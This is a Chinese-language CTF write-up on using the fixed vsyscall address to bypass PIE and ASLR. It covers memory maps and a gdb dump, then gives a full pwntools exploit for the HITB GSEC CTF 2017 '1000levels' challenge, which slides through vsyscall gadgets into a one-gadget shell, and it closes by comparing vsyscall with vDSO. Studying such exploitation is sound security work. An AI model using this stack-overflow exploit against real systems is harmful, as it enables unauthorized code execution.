利用vsyscall/vsdo技术bypass PIE
我们知道,在开启了ASLR的系统上运行PIE程序,就意味着所有的地址都是随机化的。然而在某些版本的系统中这个结论并不成立,原因是存在着一个神奇的vsyscall。(由于vsyscall在一部分发行版本中的内核已经被裁减掉了,新版的kali也属于其中之一。vsyscall在内核中实现,无法用docker模拟,因此任何与vsyscall相关的实验都改成在Ubuntu 16.04上进行,同时libc中的偏移需要进行修正)
用cat /proc/self/maps查看
00400000-0040c000 r-xp 00000000 08:01 1308185 /bin/cat
0060b000-0060c000 r--p 0000b000 08:01 1308185 /bin/cat
0060c000-0060d000 rw-p 0000c000 08:01 1308185 /bin/cat
0060d000-0062e000 rw-p 00000000 00:00 0 [heap]
7f607413e000-7f6074afd000 r--p 00000000 08:01 663211 /usr/lib/locale/locale-archive
7f6074afd000-7f6074cbd000 r-xp 00000000 08:01 136567 /lib/x86_64-linux-gnu/libc-2.23.so
7f6074cbd000-7f6074ebd000 ---p 001c0000 08:01 136567 /lib/x86_64-linux-gnu/libc-2.23.so
7f6074ebd000-7f6074ec1000 r--p 001c0000 08:01 136567 /lib/x86_64-linux-gnu/libc-2.23.so
7f6074ec1000-7f6074ec3000 rw-p 001c4000 08:01 136567 /lib/x86_64-linux-gnu/libc-2.23.so
7f6074ec3000-7f6074ec7000 rw-p 00000000 00:00 0
7f6074ec7000-7f6074eed000 r-xp 00000000 08:01 136539 /lib/x86_64-linux-gnu/ld-2.23.so
7f60750ae000-7f60750d3000 rw-p 00000000 00:00 0
7f60750ec000-7f60750ed000 r--p 00025000 08:01 136539 /lib/x86_64-linux-gnu/ld-2.23.so
7f60750ed000-7f60750ee000 rw-p 00026000 08:01 136539 /lib/x86_64-linux-gnu/ld-2.23.so
7f60750ee000-7f60750ef000 rw-p 00000000 00:00 0
7ffec1210000-7ffec1231000 rw-p 00000000 00:00 0 [stack]
7ffec1238000-7ffec123b000 r--p 00000000 00:00 0 [vvar]
7ffec123b000-7ffec123d000 r-xp 00000000 00:00 0 [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
多次运行后,发现vsyscall的地址一直保持在固定的地址ffffffffff600000-ffffffffff601000。
使用gdb dump这段内存dump memory ./dump 0xffffffffff600000 0xffffffffff601000
我们看到,syscall的机器码是0F 05。
这里面有三个系统调用,从上到下分别是gettimeofday, time和getcpu。
如果直接设置rip执行0xffffffffff600007的syscall时发现提示段错误(got SIGSEGV signal (Segmentation violation))。显然,我们没办法直接利用vsyscall中的syscall指令。这是因为vsyscall执行时会进行检查,如果不是从函数开头执行的话就会出错。因此,我们唯一的选择就是利用0xffffffffff600000, 0xffffffffff600400, 0xffffffffff600800这三个地址。
例题
HITB GSEC CTF 2017-1000levels
利用
在无法只能修改地址。且只能加减地址,不能泄露地址的时候,例如,我们可以修改栈上的glic地址为One gadget。但是由于题目的局限,这个修改后的one gadget离当前栈的ret地址有一定距离(处于其高位),那么配合栈溢出,我们可以覆盖ret地址为0xffffffffff600000作为NOP Slide,且一直填充到one gadget的地方,这样就能滑动过去知道One gadget了。
一般通过gettimeofday,即地址0xffffffffff600000这样的gadget有以下目的
利用其调用成功后rax返回值为0的特性,使one gadget顺利执行。
有点类似于NOP slide的思想,即写shellcode的时候在前面用大量的NOP进行填充。由于NOP是一条不会改变上下文的空指令,因此执行完一堆NOP后执行shellcode对shellcode的功能并没有影响,且可以增加地址猜测的范围,从一定程度上对抗ASLR。这里我们同样可以用ret指令不停地“滑”到下一条。由于程序开了PIE且没办法泄露内存空间中的地址,我们找不到一个可靠的ret指令所在地址。这个时候vsyscall就派上用场了。因为0xffffffffff600000这个地址是固定且已知的。在无法泄露任何地址(包括开pie程序的或者libc的)的时候,作为少有的固定地址,0xffffffffff600000很适合于作rop链或者NOP Slide
由于vsyscall地址的固定性,这个本来是为了节省开销的设置造成了很大的隐患,因此vsyscall很快就被新的机制vdso所取代。与vsyscall不同的是,vdso的地址也是随机化的,且其中的指令可以任意执行,不需要从入口开始。
1000levels exp
下面是1000levels 在Ubuntu16.04, glibc2.23的环境下的exp
#!/usr/bin/python
#coding:utf-8
from pwn import *
io = process("1000levels")
#io.interactive()
libc_base = -0x45390 #0x456a0 #0x45390 #减去system函数离libc开头的偏移
one_gadget_base = 0x4526a#0x45526 #加上one gadget rce离libc开头的偏移
vsyscall_gettimeofday = 0xffffffffff600000
def answer():
io.recvuntil('Question: ')
answer = eval(io.recvuntil(' = ')[:-3])
io.recvuntil('Answer:')
io.sendline(str(answer))
io.recvuntil('Choice:')
io.sendline('2') #让system的地址进入栈中
io.recvuntil('Choice:')
io.sendline('1') #调用go()
io.recvuntil('How many levels?')
io.sendline('-1') #输入的值必须小于0,防止覆盖掉system的地址
io.recvuntil('Any more?')
io.sendline(str(libc_base+one_gadget_base)) #第二次输入关卡的时候输入偏移值,从而通过相加将system的地址变为one gadget rce的地址
for i in range(999): #循环答题
log.info(i)
answer()
io.recvuntil('Question: ')
#gdb.attach(io,"b _read \n")
io.send('a'*0x38 + p64(vsyscall_gettimeofday)*3) #最后一次回答,通过padding和三个vsyscall中的系统调用执行到one gadget RCE
#io.interactive()
#vsyscall充当了ret的角色,思想类似于NOP slide
io.interactive()
总结
vsyscall的局限
分配的内存较小;
只允许4个系统调用;
Vsyscall页面在每个进程中是静态分配了相同的地址;
vdso
提供和vsyscall相同的功能,同时解决了其局限。
vDSO是动态分配的,地址是随机的;
可以提供超过4个系统调用;
vDSO是glibc库提供的功能;